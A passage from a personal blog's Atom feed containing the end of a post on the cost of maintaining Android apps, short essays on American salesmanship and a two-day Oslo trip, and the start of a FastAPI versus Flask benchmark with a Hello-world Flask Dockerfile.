</div><h3 id="dropping-support-for-older-android-versions">Dropping support for older Android versions</h3>
<p>Google Ads library v24   
    
    
<a href="https://developers.google.com/admob/android/migration#migrate-to-v24?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dropped</a> support for
Android API 21.
According to official Google statistics, API 21 is used by
  
    
    
<a href="https://composables.com/android-distribution-chart?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">0.1% (~4 million)</a> users.
The rationale behind this has been left unexplained.</p>
<h3 id="upgrades-for-the-sake-of-it">Upgrades for the sake of it</h3>
<p>Material 2 was deprecated for Material 3.
No clear migration guide was provided.
I tried to upgrade and some components like Sliders won&rsquo;t look good.
Why? I don&rsquo;t know, and I was never able to figure out the mystic.
It does not help that most documentation now refers to Jetpack Compose which I cannot use!</p>
<p>So, for the near term, Java-based codebase are likely stuck with Material 2.</p>
<h2 id="the-ui-design-guidelines-for-android-evolve-unpredictably">The UI design guidelines for Android evolve unpredictably</h2>
<ul>
<li>Bottom bar, a featured popular on iOS was
  
    
    
<a href="https://androiduipatterns.com/on-the-bottom-navigation-bar-d07d9b4b5e18?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">discouraged</a>
and then became a standard feature in Material design.</li>
<li>Back and up buttons used to behave
  
    
    
<a href="https://web.archive.org/web/20160317020901/http://developer.android.com/design/patterns/navigation.html#up-vs-back?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">differently</a>
and now they are supposed to behave the
  
    
    
<a href="https://developer.android.com/guide/navigation/principles#:~:text=If%20a%20user%20is%20at,and%20does%20exit%20the%20app?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">same</a>.
I only learnt about it last year when I
  
    
    
<a href="https://www.reddit.com/r/androiddev/comments/1c90gft/android_navigation_up_vs_back/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">posted</a>
about it on Reddit.</li>
<li>You might think that you can just use Material Design components and be done with it.
But migrating from one version of Material Design to another is not trivial either.
And before you migrate from Material 1 to Material 2, Google deprecates it for Material 3.</li>
</ul>
<h2 id="google-makes-breaking-changes-to-android-platform">Google makes breaking changes to Android platform</h2>
<p>Every major release of Android makes breaking changes that requires developer effort</p>
<ul>
<li>Toasts use to work for quick notifications, now, after API 31,
it   
    
    
<a href="https://developer.android.com/guide/topics/ui/notifiers/toasts?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">only works</a> if the app is foreground.
How to know if you app in foreground? You have to use
  
    
    
<a href="https://developer.android.com/reference/android/app/Application.ActivityLifecycleCallbacks?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ActivityLifecycleCallbacks</a>
for that and write ton of code and even then there are confusions about
  
    
    
<a href="https://steveliles.github.io/is_my_android_app_currently_foreground_or_background.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">onStart vs onResume</a>.</li>
<li>Displaying notifications didn&rsquo;t require permissions, now after API 33, it requires
  
    
    
<a href="https://developer.android.com/training/notify-user/notifications#permissions?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">POST_NOTIFICATIONS</a>.</li>
<li>Storage permissions were either all or none,
now   
    
    
<a href="https://developer.android.com/about/versions/13/behavior-changes-13?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">API 33 onwards</a>,
they can be fine-grained at the level of audio, video, and images.</li>
<li>Background code execution   
    
    
<a href="https://developer.android.com/about/versions/oreo/background?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">restrictions</a>
keeps changing subtly in every release.</li>
<li>Media notifications were changed in a
  
    
    
<a href="https://developer.android.com/about/versions/13/behavior-changes-13?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">backward-incompatible</a>
in API 33 onwards. This   
    
    
<a href="https://github.com/androidx/media/issues/216?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">long thread</a> explains the pain of a lot
of developers.</li>
<li>API 35 onwards, Android introduced   
    
    
<a href="https://developer.android.com/about/versions/16/behavior-changes-16#edge-to-edge?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">edge-to-edge display</a> of apps by default.
However, one could opt out of it explicitly via   
    
    
<a href="https://developer.android.com/reference/android/R.attr#windowOptOutEdgeToEdgeEnforcement?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">windowOptOutEdgeToEdgeEnforcement</a>.
API 36 onwards, the opt-out no longer works.
So, what if you wrote an app targeting API 34 or lower? Well, its UI is broken as portions of it are
hidden behind the system navigation and status bars.</li>
</ul>
<h2 id="crucial-third-party-libraries-have-been-deprecated">Crucial third-party libraries have been deprecated</h2>
<p>Several popular third-party have been deprecated or are no longer maintained.</p>
<h3 id="picasso">Picasso</h3>
<p>  
    
    
<a href="https://github.com/square/picasso?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Picasso</a> was great for image loading and has been
  
    
    
<a href="https://www.reddit.com/r/androiddev/comments/1gk6bd9/picasso_is_formally_deprecated/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">deprecated</a>.
It has been replaced with   
    
    
<a href="https://github.com/coil-kt/coil?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">coil</a> but the upgrade is not trivial.</p>
<h3 id="glide">Glide</h3>
<p>  
    
    
<a href="https://github.com/bumptech/glide?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Glide</a> an alternative to Picasso was last released in Sep 2023.</p>
<h3 id="okhttp">OkHttp</h3>
<p>  
    
    
<a href="https://github.com/square/okhttp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OkHttp</a> which even Android uses internally for implementing HttpURLConnection
has not seen a stable release since Oct 2023, the last stable release was 4.12.0 and even
the last alpha release was in April 2024.</p>
<p>OkHttp 4.12.0 does not support Happy Eyeballs which is a   
    
    
<a href="https://github.com/square/okhttp/issues/506?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">major issue</a>
with IPv6 networks.</p>
<h3 id="eventbus">EventBus</h3>
<p>  
    
    
<a href="https://github.com/greenrobot/EventBus?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EventBus</a> was the de-facto event passing library for Android.
And it is unmaintained now.</p>
<h3 id="ratethisapp">RateThisApp</h3>
<p>  
    
    
<a href="https://github.com/kobakei/Android-RateThisApp/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RateThisApp</a> was good to get app ratings, and then it was abandoned.</p>
<p>I don&rsquo;t blame the maintainers here.
If you use an open-source library, you have to be prepared for the fact that it may not be maintained.
I am just pointing out, how some of the obvious boilerplate tasks that one requires for building an Android app
are suddenly in a limbo.</p>
<h2 id="two-different-versioning-schemes-for-everything">Two different versioning schemes for everything</h2>
<p>Android has two   
    
    
<a href="https://developer.android.com/tools/releases/platforms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">versioning schemes</a>,
Android API version is for developers and Android version for marketing.</p>
<p>For example, Android 11 is API 30, Android 12 is API 31 as well as 32(!), Android 13 is API 33, Android 14 is API 34.
The developer documents would reference one scheme or the other or sometimes both!
And you are supposed to memorize the mappings while trying to debug issues using GitHub issues or StackOverflow.
It just adds unnecessary friction and confusion.</p>
<h2 id="forced-upgrades">Forced upgrades</h2>
<p>There are multiple versions in an Android app, all tightly coupled with each other.</p>
<ul>
<li><code>minSdkVersion</code> and <code>targetSdkVersion</code> of the app</li>
<li>Java <code>sourceCompatibility</code> and <code>targetCompatibility</code></li>
<li>version of dependencies</li>
<li>version of Android build tool chain</li>
<li>version of Gradle</li>
<li>version of Android Studio</li>
</ul>
<p>You might think that all updates are optional, but they aren&rsquo;t</p>
<ul>
<li>Gradle and Android Studio must be upgraded together for
  
    
    
<a href="https://developer.android.com/studio/releases#android_gradle_plugin_and_android_studio_compatibility?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">version-compatibility</a></li>
<li>Upgrading Java <code>sourceCompatibility</code> and <code>targetCompatibility</code>
  
    
    
<a href="https://github.com/JakeWharton/agp-java-support/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">requires</a> upgrading Gradle (and hence, Android Studio)</li>
<li>Upgrading Android build tool chain requires upgrading <code>minSdkVersion</code> and <code>targetSdkVersion</code></li>
<li>Upgrade Android build tool chain requires upgrading Gradle version</li>
<li>Also, if you want to stay on an old library like Exoplayer V2, sooner or later,
it will become incompatible with other dependencies, and you will be forced to upgrade to media3!</li>
</ul>
<p>You see how you are forced to upgrade almost everything or nothing?</p>
<p>And what if you decide to not upgrade any of these?
Well, your app will get   
    
    
<a href="https://developer.android.com/google/play/requirements/target-sdk?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">delisted</a>
if the <code>targetSdkVersion</code> is too old.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Compared to server-side development, Android development requires a bit more efforts to maintain.
So, if you are planning to build an Android app as a hobby, keep the ongoing maintenance cost in mind.</p>
<h2 id="update">Update</h2>
<p>After this article ended up on the   
    
    
<a href="https://news.ycombinator.com/front?day=2025-06-08&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">front page</a> of   
    
    
<a href="https://news.ycombinator.com/item?id=44214835&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hacker News</a>,
Two new items came out during those discussions that are worth mentioning.</p>
<ul>
<li>App published for the first time after 2021, have to hand over their private
  
    
    
<a href="https://commonsware.com/blog/2020/09/23/uncomfortable-questions-app-signing.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">signing keys</a> to Google Play Store</li>
<li>Further, multiple people suggested that I should use   
    
    
<a href="https://f-droid.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">F-droid</a> to publish apps.
The problem is that F-droid not only have very little reach, but also it cannot solve for backward-incompatible changes
to the underlying platform, abandoned libraries, and backward-incompatible changes to Android libraries.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/java" term="java" label="java"/><category scheme="https://ashishb.net/tag/kotlin" term="kotlin" label="kotlin"/></entry><entry><title type="html">The land of good deals</title><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><id>https://ashishb.net/finance/the-land-of-good-deals/</id><author><name>Ashish Bhatia</name></author><published>2025-05-24T17:00:00+00:00</published><updated>2025-05-24T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the art of salesmanship in America, where standard deals are marketed as exclusive opportunities. Learn how savvy advertising makes the ordinary extraordinary.</blockquote><p>&ldquo;The apartment rents are high right now, but we got a good deal&rdquo;, he said, smiling alongside his roommate.</p>
<p>Another friend said, &ldquo;We got a good deal on a car loan, so, we took the loan,
it&rsquo;s good for building credit history to buy a house later&rdquo;.</p>
<p>&ldquo;The instructor was super-happy with our amazing group. He taught us a few special tricks that he says he rarely taught.&rdquo;</p>
<p>&ldquo;The bartender was super-nice to us and made us a special drink&rdquo;</p>
<p>Earlier, I used to wonder how come, everyone, practically everyone,
seems to be getting special deals and treatments till I realized that it was mostly salesmanship on the part
of the seller to make the standard treatment look special, exquisite, and exclusive.</p>
<p>The USA is after all the 
<a href="/finance/usa-union-of-sales-and-advertisement/">Union of Sales and Advertisement</a>.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="This American Life"/></entry><entry><title type="html">Two days in Oslo, Norway</title><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><id>https://ashishb.net/travel/oslo-norway/</id><author><name>Ashish Bhatia</name></author><published>2025-05-17T09:00:29+00:00</published><updated>2025-05-17T09:00:29+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to spending two days in Oslo, Norway. Includes a walking tour, Vigeland Park, and a fjord cruise.</blockquote><p>Oslo is one of the weirdest Nordic cities that I visited.
It is dull compared to 
<a href="/travel/copenhagen/">Copenhagen</a> or even 
<a href="/travel/stockholm-sweden/">Stockholm</a>.
The   
    
    
<a href="https://en.wikipedia.org/wiki/Baumol_effect?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Baumol effect</a> of the oil-funded economy makes it a really expensive place to visit as well.
Infact, it is one of the few cities which feel more expensive than San Francisco.</p>
<p>To get from the airport to Oslo city, just take a 124NOK train ride. There is a faster 240NOK train ride as well which isn&rsquo;t worth it.</p>
<h2 id="day-1">Day 1</h2>
<p>I started the day with a   
    
    
<a href="https://freetouroslo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>. The city is dull but the guide tries to make it interesting by showing the best places.</p>
<figure>
    
    <a href="oslo_opera_house-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_opera_house-1024x768.jpg"
         alt="A large, modern opera house with a sloping roof and expansive glass windows is located near a body of water." width="900"/> </a>
</figure>

<figure>
    
    <a href="oslo_christianIV_glove-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_christianIV_glove-1024x768.jpg"
         alt="A cityscape featuring the Oslo Opera House with its distinct angular architecture, positioned alongside a waterfront. The opera house contrasts against the city skyline under a clear sky, inviting visitors." width="900"/> </a>
</figure>

<p>Afterward, do visit the Oslo Opera House and the Oslo Library, both are gorgeous.</p>
<figure>
    
    <a href="oslo_library-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_library-1024x768.jpg"
         alt="Vigeland Park features an open 24-hour schedule and is free to visit. It showcases numerous sculptures, offering an experience that highlights artistic creativity and cultural engagement." width="900"/> </a>
</figure>

<p>The Vigeland Park is open 24 hours and is free of cost to visit. It contains tons of structures designed by Gustav Vigeland.
Like the rest of Oslo, this place is gloomy as well.</p>
<figure>
    
    <a href="oslo_monolith_at_vigeland_park-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_monolith_at_vigeland_park-768x1024.jpg"
         alt="A towering stone monolith in Vigeland Park, Oslo, designed by Gustav Vigeland, amidst a gloomy backdrop." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>Early in the day, I decided to do the hike to   
    
    
<a href="https://www.alltrails.com/ar/trail/norway/oslo/maridalsvannet?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maridalsvannet</a>.
It is a nice hike loop that shows the beauty of hikes around Norway.
Nothing outstanding though.</p>
<figure>
    
    <a href="oslo_mariadalen_hike_1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_mariadalen_hike_1-768x1024.jpg"
         alt="A lush green hiking trail surrounded by dense woodland, highlighting the natural beauty of Norway&#39;s landscapes." width="900"/> </a>
</figure>

<figure>
    
    <a href="oslo_mariadalen_hike_2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_mariadalen_hike_2-1024x768.jpg"
         alt="A scenic hiking trail in Mariadalen, Oslo, featuring a lush green landscape with dense trees" width="900"/> </a>
</figure>

<p>Later in the day, I did a 460 NOK (~USD 43) two-hour cruise around the Norwegian Fjord. The cruise was OK.
However, like everything else in Oslo, it felt overpriced.</p>
<figure>
    
    <a href="oslo_fjord_cruise-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oslo_fjord_cruise-1024x768.jpg"
         alt="A scenic view of the Norwegian Fjord with a boat cruising through calm waters, surrounded by lush mountains under a clear sky." width="900"/> </a>
</figure>

<p>I considered going to the Lofoten Islands but decided against it as they mostly felt overhyped to me compared to the
awesome islands of the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> or 
<a href="/travel/oahu-hawaii/">Hawaii</a>.</p>
<p>Note:</p>
<ol>
<li>Credit cards are widely accepted, no need to carry Norwegian Krone as cash.</li>
<li>Public transport is expensive. A single train ride costs 42 NOK (~USD 4). A 24-hour pass is 130 NOK.</li>
<li>Public bathrooms are not free in Oslo.</li>
<li>Lidl is the best store to buy groceries.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/norway" term="norway" label="norway"/></entry><entry><title type="html">FastAPI vs Flask performance comparison</title><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="related" type="text/html" title="How to run Python in production"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><id>https://ashishb.net/programming/flask-vs-fastapi/</id><author><name>Ashish Bhatia</name></author><published>2025-05-10T04:00:08+00:00</published><updated>2025-05-10T04:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Compare FastAPI vs. Flask in Docker: Discover why FastAPI is 3x faster for basic requests and see which is the better choice for new projects. Learn more!</blockquote><p>If you are running 
<a href="/programming/python-in-production-2/">Python in production</a>, you will almost certainly have to decide which web framework to use.</p>
<p>Let&rsquo;s consider a rudimentary Hello world based test comparing the performance of two popular web frameworks for Python -
  
    
    
<a href="https://github.com/fastapi/fastapi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FastAPI</a> and   
    
    
<a href="https://github.com/pallets/flask/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Flask</a>.</p>
<p>I will intentionally use 
<a href="/programming/using-python-poetry-inside-docker/">Docker</a> for benchmarking
as most deployments today will explicitly or implicitly rely on Docker.</p>
<p>For Flask, I will use this</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Build: docker buildx build -t python-flask -f Dockerfile_python .</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Size: docker image inspect python-flask --format=&#39;{{.Size}}&#39; | numfmt --to=iec-i</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Run: docker run -it --rm --cpus=1 --memory=100m -p 8001:8001 python-flask</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.13-slim AS base</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> pip3 install --no-cache-dir flask gunicorn
</span></span><span style="display:flex;"><span><span style="color:#719e07">SHELL</span> [<span style="color:#2aa198">&#34;/bin/bash&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">echo</span> -e <span style="color:#2aa198">&#34;\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">from flask import Flask\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">app = Flask(__name__)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">@app.get(&#39;/&#39;)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">def root():\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  return &#39;Hello, World!&#39;\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">&#34;</span> &gt; /app/web_server.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;gunicorn&#34;</span>, <span style="color:#2aa198">&#34;web_server:app&#34;</span>, <span style="color:#2aa198">&#34;--bind=0.0.0.0:8001&#34;</span>, <span style="color:#2aa198">&#34;--workers=4&#34;</span>, <span style="color:#2aa198">&#34;--threads=32&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And for FastAPI, I will use this</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
